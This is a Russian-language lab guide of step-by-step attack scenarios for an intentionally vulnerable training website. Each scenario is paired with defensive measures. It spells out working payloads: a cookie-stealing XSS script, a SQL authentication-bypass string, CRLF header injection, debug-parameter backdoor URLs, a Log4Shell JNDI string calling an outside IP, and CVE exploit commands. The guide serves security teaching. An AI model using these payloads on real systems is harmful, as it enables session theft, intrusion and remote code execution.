Сценарии атак

В данном разделе представлены подробные сценарии различных типов атак, которые можно выполнить на тестовом стенде. Каждый сценарий содержит пошаговые инструкции, описание уязвимостей и ожидаемые результаты.

Важно! Данные сценарии предназначены исключительно для образовательных целей. Использование представленных техник на реальных веб-сайтах без разрешения владельцев является незаконным.

Структура сценариев

Каждый сценарий атаки состоит из следующих компонентов:

  • Описание уязвимости - теоретическая информация о типе атаки
  • Цель атаки - что необходимо достичь в результате успешной атаки
  • Пошаговые инструкции - последовательность действий для выполнения атаки
  • Ожидаемые результаты - что должно произойти на каждом шаге
  • Защита - методы предотвращения данного типа атак в реальных системах

Уровни сложности

Легко

Для новичков в кибербезопасности

Средне

Требует базовых знаний

Сложно

Для опытных пользователей

Базовые атаки Рекомендуется для начинающих

Эти атаки подходят для первого знакомства с кибербезопасностью. Они просты в выполнении и помогают понять основные принципы.

XSS (Cross-Site Scripting) Легко

Cross-Site Scripting (XSS) позволяет атакующему внедрить вредоносный JavaScript-код, который будет выполнен в браузере жертвы. Это может использоваться для кражи данных, перенаправления пользователей на фишинговые сайты или выполнения действий от имени пользователя.

Сценарий 1: Reflected XSS через форму поиска

Шаг 1: Обнаружение уязвимости
  1. Перейдите на страницу магазина (../pages/shop.php)
  2. В поле поиска введите: <script>alert('XSS')</script>
  3. Нажмите кнопку "Поиск"

Ожидаемый результат: Появится всплывающее окно с текстом "XSS", что подтверждает наличие уязвимости.

Шаг 2: Эксплуатация уязвимости для кражи cookies
  1. В поле поиска введите следующий код:
  2. <script> fetch('api/attack-handler.php?action=log_data&data=' + encodeURIComponent(document.cookie)) .then(response => response.json()) .then(data => { if(data.success) { alert('Данные отправлены. Токен: ' + data.token); } }); </script>
  3. Нажмите кнопку "Поиск"

Ожидаемый результат: Появится сообщение с токеном, который вы сможете использовать на следующем шаге.

Защита от XSS атак

Для защиты реальных веб-приложений от XSS атак следует применять следующие меры:

  • Фильтрация ввода - валидация всех пользовательских данных
  • Экранирование вывода - преобразование специальных символов HTML в безопасные эквиваленты
  • Content Security Policy (CSP) - ограничение источников, из которых могут загружаться скрипты
  • Использование флага HttpOnly для cookies - предотвращение доступа к cookies через JavaScript

SQL Injection Легко

SQL Injection позволяет манипулировать SQL-запросами, отправляемыми на сервер. С помощью этой атаки можно получить доступ к чувствительным данным, обойти аутентификацию или даже модифицировать данные в базе.

Сценарий 1: Authentication Bypass через форму входа

Шаг 1: Базовая SQL Injection
  1. Перейдите на страницу входа (../pages/login.php)
  2. В поле "Имя пользователя" введите: admin' --
  3. В поле "Пароль" введите любой текст, например: test
  4. Нажмите кнопку "Войти"

Ожидаемый результат: Вы будете авторизованы как администратор без знания пароля.

Шаг 2: Понимание уязвимости

Уязвимый код на сервере выполняет запрос вида:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'хэш_пароля'

Символы -- в SQL обозначают комментарий, поэтому часть запроса после них игнорируется.

Защита от SQL Injection

Для защиты реальных веб-приложений от SQL Injection атак следует применять следующие меры:

  • Подготовленные запросы (Prepared Statements) - использование параметризированных запросов
  • ORM (Object-Relational Mapping) - использование абстракций для работы с базой данных
  • Экранирование специальных символов - обработка входных данных перед использованием в запросах
  • Принцип наименьших привилегий - ограничение прав доступа для пользователя БД

CSRF (Cross-Site Request Forgery) Средне

CSRF атака заставляет аутентифицированного пользователя выполнить нежелательное действие на веб-сайте, на котором он уже авторизован. Атакующий использует тот факт, что жертва уже имеет активную сессию на целевом сайте.

Сценарий: Изменение пароля пользователя

Шаг 1: Анализ формы изменения пароля
  1. Войдите на сайт под учетной записью пользователя
  2. Перейдите на страницу профиля (../pages/profile.php)
  3. Исследуйте HTML-код формы изменения пароля

Ожидаемый результат: Вы обнаружите, что форма не использует CSRF-токены для защиты.

Защита от CSRF атак

Для защиты реальных веб-приложений от CSRF атак следует применять следующие меры:

  • CSRF-токены - уникальные токены, привязанные к сессии пользователя
  • SameSite cookies - ограничение отправки cookies с межсайтовыми запросами
  • Проверка заголовка Referer - проверка источника запроса
  • Проверка заголовка Origin - проверка происхождения запроса

CRLF Injection Средне

CRLF Injection использует специальные символы возврата каретки (CR) и перевода строки (LF) для манипуляции заголовками HTTP-ответа. Эта атака может привести к HTTP Response Splitting или XSS.

Сценарий: Внедрение собственного заголовка

Шаг 1: Обнаружение уязвимости
  1. Перейдите на страницу (../pages/contact.php)
  2. Найдите демо-форму "CRLF Injection - Поиск категорий"
  3. В поле поиска введите: test%0D%0AX-Test: CRLF-Injection
  4. Нажмите кнопку "Поиск"

Ожидаемый результат: Исследуя заголовки ответа (через инструменты разработчика), вы обнаружите добавленный заголовок X-Test.

Защита от CRLF Injection

Для защиты реальных веб-приложений от CRLF Injection атак следует применять следующие меры:

  • Фильтрация ввода - удаление или экранирование последовательностей CR и LF (%0D%0A)
  • Использование безопасных функций - применение функций, которые правильно обрабатывают заголовки
  • Валидация входных данных - проверка, что входные данные соответствуют ожидаемому формату

Path Traversal Средне

Path Traversal (Directory Traversal) позволяет атакующему получить доступ к файлам, расположенным за пределами корневой директории веб-сервера, используя специальные последовательности в путях к файлам.

Сценарий: Доступ к конфигурационным файлам

Шаг 1: Базовая Path Traversal атака
  1. Перейдите на страницу (../pages/contact.php)
  2. Найдите демо-форму "Path Traversal - Просмотр файла"
  3. В поле имени файла введите: config.txt
  4. Нажмите кнопку "Просмотреть"

Ожидаемый результат: Вы увидите содержимое файла с учетными данными для подключения к базе данных.

Защита от Path Traversal атак

Для защиты реальных веб-приложений от Path Traversal атак следует применять следующие меры:

  • Проверка и фильтрация ввода - удаление или кодирование последовательностей "../"
  • Белый список допустимых файлов - создание списка разрешенных для доступа файлов
  • Использование безопасных функций - функции, которые не позволяют выйти за пределы корневой директории
  • Настройка прав доступа - правильная настройка прав доступа к файлам на сервере

Продвинутые атаки Для опытных пользователей

Эти атаки требуют более глубоких знаний в области кибербезопасности и предназначены для опытных пользователей.

Brute Force атаки Средне

Brute Force - это метод подбора паролей путем проверки всех возможных комбинаций. На данном стенде защита от брутфорса намеренно отключена для демонстрации атак.

Сценарий 1: Ручной брутфорс через консоль браузера

Шаг 1: Открытие консоли разработчика
  1. Перейдите на страницу (../pages/login.php)
  2. Нажмите F12 для открытия инструментов разработчика
  3. Перейдите на вкладку "Console" (Консоль)

Ожидаемый результат: Откроется консоль JavaScript в браузере.

Шаг 2: Использование готового кода брутфорса
  1. На странице login.php найдите раздел "Brute Force тесты"
  2. Нажмите кнопку "Копировать код брута"
  3. Вставьте скопированный код в консоль браузера
  4. Нажмите Enter для выполнения

Ожидаемый результат: Скрипт начнет автоматически подбирать пароли и выведет результаты в консоль.

Сценарий 2: Брутфорс через веб-терминал

Шаг 1: Открытие терминала
  1. Перейдите на страницу (../pages/terminal.php)
  2. Дождитесь полной загрузки терминала
  3. Введите команду help для просмотра доступных команд

Ожидаемый результат: Терминал покажет список всех доступных команд и инструментов.

Шаг 2: Использование инструмента ktk_brute.py
  1. Введите команду для запуска брутфорса:
  2. python -login admin -attack password -slowar slowar.txt ktk_brute.py
  3. Нажмите Enter

Ожидаемый результат: Инструмент начнет подбор паролей из словаря и покажет прогресс в реальном времени.

Защита от Brute Force атак

Для защиты реальных веб-приложений от Brute Force атак следует применять следующие меры:

  • Ограничение количества попыток - блокировка аккаунта после неудачных попыток
  • Captcha - проверка, что запросы отправляет человек, а не робот
  • Задержки между попытками - увеличение времени ожидания после неудачных попыток
  • Блокировка по IP - временная блокировка IP-адреса

Backdoor Access Сложно

Backdoor (черный ход) - это скрытые способы доступа к системе, часто оставляемые разработчиками для отладки или злоумышленниками для сохранения доступа.

Сценарий 1: Поиск backdoor через nmap

Шаг 1: Открытие терминала
  1. Перейдите на страницу (../pages/terminal.php)
  2. Дождитесь загрузки терминала

Ожидаемый результат: Откроется эмулятор терминала Linux с хакерскими инструментами.

Шаг 2: Сканирование на backdoor
  1. Введите команду:
  2. nmap --backdoor ktk-web.ru
  3. Нажмите Enter

Ожидаемый результат: Nmap обнаружит скрытые debug параметры и backdoor эндпоинты с подробным описанием каждого.

Сценарий 2: Прямое использование debug параметров

Шаг 1: Тестирование debug параметров
  1. Попробуйте следующие URL:
  2. ../pages/shop.php?debug=show_users ../pages/shop.php?debug=show_config ../pages/shop.php?debug=phpinfo

Ожидаемый результат: Каждый параметр покажет разные типы конфиденциальной информации.

Защита от Backdoor

Для предотвращения backdoor атак следует:

  • Удаление debug кода - полное удаление отладочных функций в продакшене
  • Код-ревью - проверка кода на наличие подозрительных функций
  • Регулярный аудит - поиск неавторизованных точек доступа
  • Мониторинг системы - отслеживание подозрительной активности

DDoS атаки Сложно

DDoS (Distributed Denial of Service) - атака, направленная на перегрузку сервера большим количеством запросов, делая сайт недоступным для обычных пользователей.

Сценарий 1: DDoS атака через CVE эксплойты

Шаг 1: Запуск Log4Shell эксплойта
  1. Откройте (../pages/terminal.php)
  2. Введите команду:
  3. python cve-2021-44228.py -t ktk-web.ru:8000
  4. Нажмите Enter

Ожидаемый результат: Эксплойт запустится и автоматически начнет DDoS атаку на целевой сервер.

Шаг 2: Альтернативный CVE эксплойт
  1. Попробуйте Spring Gateway RCE:
  2. python cve-2022-22963.py -t ktk-web.ru:8080

Ожидаемый результат: Мгновенная атака с критическим воздействием на сервер.

Шаг 3: Проверка эффекта атаки
  1. Откройте новую вкладку
  2. Попробуйте зайти на (../pages/contact.php)
  3. При активной DDoS атаке сайт станет недоступен

Ожидаемый результат: Вместо страницы контактов появится ошибка 503 "Service Unavailable".

Защита от DDoS атак

Для защиты от DDoS атак используются:

  • CDN (Content Delivery Network) - распределение нагрузки
  • DDoS Protection Services - специализированные сервисы защиты
  • Rate Limiting - ограничение количества запросов
  • Firewall правила - блокировка подозрительного трафика

Уязвимость нулевого дня (Log4Shell) Сложно

Log4Shell - критическая уязвимость в библиотеке логирования Apache Log4j, которая позволяет выполнять произвольный код на сервере через JNDI инъекции.

Сценарий 1: Базовая Log4Shell атака через форму

Шаг 1: Подготовка payload
  1. Перейдите на страницу (../pages/contact.php)
  2. Найдите форму обратной связи
  3. Обратите внимание на подсказки под полями с Log4Shell тестами

Ожидаемый результат: Вы увидите примеры Log4Shell payload'ов для тестирования.

Шаг 2: Внедрение Log4Shell payload
  1. В поле "Ваше имя" введите:
  2. ${jndi:ldap://151.236.218.228:1389/Log4Calc}
  3. Заполните остальные поля любыми данными
  4. Нажмите "Отправить сообщение"

Ожидаемый результат: Система обнаружит Log4Shell атаку и покажет критическое предупреждение.

Сценарий 2: Log4Shell через терминал

Шаг 1: Использование CVE эксплойта
  1. Откройте (../pages/terminal.php)
  2. Введите команду:
  3. python cve-2021-44228.py -t ktk-web.ru:8000 -v

Ожидаемый результат: Запустится профессиональный Log4Shell эксплойт с пошаговой атакой.

Защита от Log4Shell

Для защиты от Log4Shell атак необходимо:

  • Обновление Log4j - установка версии 2.17.0 или выше
  • Отключение JNDI Lookup - установка системного свойства log4j2.formatMsgNoLookups=true
  • WAF правила - блокировка JNDI payload в запросах
  • Сетевая сегментация - ограничение исходящих соединений

Wayback Machine эксплуатация Средне

Использование архивных снимков веб-сайтов для поиска старых уязвимостей, забытых файлов и информации, которая могла быть удалена с текущей версии сайта.

Сценарий: Поиск конфиденциальной информации в архивах

Шаг 1: Доступ к Wayback Machine
  1. Перейдите на страницу (../pages/wayback.php)
  2. В поле поиска введите: ktk-web.ru
  3. Нажмите кнопку "Поиск"

Ожидаемый результат: Откроется календарь архивных снимков с различными типами данных.

Шаг 2: Исследование мертвых ссылок
  1. Кликните на любой красный месяц
  2. Выберите дату с наибольшим количеством Dead Links
  3. Изучите список найденных мертвых ссылок

Ожидаемый результат: Вы увидите детальную информацию о каждой мертвой ссылке с оценкой риска.

Защита от Wayback Machine эксплуатации

Для защиты от использования архивных данных следует:

  • robots.txt - запрет архивирования чувствительных разделов
  • Удаление из архивов - обращение к Wayback Machine для удаления данных
  • Регулярная ротация ключей - изменение API ключей и паролей
  • Мониторинг архивов - регулярная проверка архивированного контента

Terminal Access / Command Injection Сложно

Веб-терминал предоставляет доступ к различным хакерским инструментам и симуляции команд Linux. Это мощный инструмент для проведения различных типов атак.

Сценарий 1: Базовое использование терминала

Шаг 1: Доступ к терминалу
  1. Перейдите на страницу (../pages/terminal.php)
  2. Дождитесь полной загрузки терминала
  3. Введите команду help

Ожидаемый результат: Отобразится полный список доступных команд и инструментов.

Сценарий 2: CVE эксплойты

Шаг 1: Log4Shell эксплойт
  1. Запустите Log4Shell атаку:
  2. python cve-2021-44228.py -t ktk-web.ru:8000

Ожидаемый результат: Пошаговая демонстрация Log4Shell атаки с получением обратной оболочки.

Сценарий 3: Сканеры уязвимостей

Шаг 1: XSS сканирование
  1. Запустите сканер XSS:
  2. python xss_detector.py -t ktk-web.ru

Ожидаемый результат: Профессиональное сканирование XSS уязвимостей с детальным отчетом.

Защита от Command Injection

Для защиты от инъекций команд следует:

  • Валидация ввода - строгая проверка всех пользовательских данных
  • Белые списки команд - разрешение только безопасных команд
  • Экранирование специальных символов - обработка опасных символов
  • Принцип наименьших привилегий - ограничение прав выполнения

Цепочки атак Экспертный уровень

В реальных ситуациях атакующие часто используют несколько различных уязвимостей последовательно, формируя цепочки атак. Ниже представлены примеры таких цепочек, которые можно выполнить на тестовом стенде.

Сценарий 1: XSS → CSRF → Cookie Theft

Шаг 1: Использование XSS для внедрения кода CSRF атаки
  1. Выполните Stored XSS атаку, добавив вредоносный комментарий с кодом, который будет выполнять CSRF атаку
  2. Используйте payload, который автоматически отправляет форму изменения пароля

Ожидаемый результат: Ваш вредоносный комментарий будет сохранен в базе данных и будет показываться другим пользователям.

Сценарий 2: SQL Injection → Path Traversal → System Compromise

Шаг 1: Использование SQL Injection для получения данных о файловой системе
  1. Выполните SQL Injection атаку, используя запрос, который извлекает информацию о путях к файлам на сервере

Ожидаемый результат: Вы получите информацию о структуре файловой системы и путях к важным файлам.

Сценарий 3: Wayback Machine → Dead Link Bypass → Backdoor → Full Compromise

Шаг 1: Разведка через Wayback Machine
  1. Используйте (../pages/wayback.php) для поиска архивных снимков
  2. Найдите месяцы с Dead Links
  3. Изучите список потенциально уязвимых ресурсов

Ожидаемый результат: Получите список старых администраторских интерфейсов и конфигурационных файлов.

Шаг 2: Эксплуатация Dead Link Bypass
  1. Попробуйте получить доступ к найденным dead links
  2. Используйте bypass для доступа к скрытым ресурсам

Ожидаемый результат: Доступ к конфигурационным файлам и информации о backdoor'ах.

Шаг 3: Использование найденных backdoor
  1. Используйте обнаруженные debug параметры
  2. Получите доступ к системной информации через backdoor

Ожидаемый результат: Полный доступ к системе через скрытые входы.

Защита от цепочек атак

Для защиты от цепочек атак необходимо применять многоуровневую защиту:

  • Принцип глубокой защиты - использование нескольких уровней защиты
  • Устранение всех уязвимостей - даже малозначительные уязвимости могут стать частью цепочки атак
  • Регулярное обновление программного обеспечения - установка патчей безопасности
  • Мониторинг безопасности - обнаружение подозрительной активности
  • Правильная настройка прав доступа - принцип наименьших привилегий
  • Регулярное тестирование на проникновение - выявление и устранение уязвимостей
  • Сегментация сети - ограничение распространения атак
  • Резервное копирование и планы восстановления - быстрое восстановление после инцидентов
Рекомендации по прохождению цепочек атак:
  1. Начните с простых атак и постепенно усложняйте
  2. Документируйте каждый шаг и полученную информацию
  3. Используйте информацию из одной атаки для планирования следующей
  4. Экспериментируйте с различными комбинациями уязвимостей
  5. Анализируйте, как каждая уязвимость могла быть предотвращена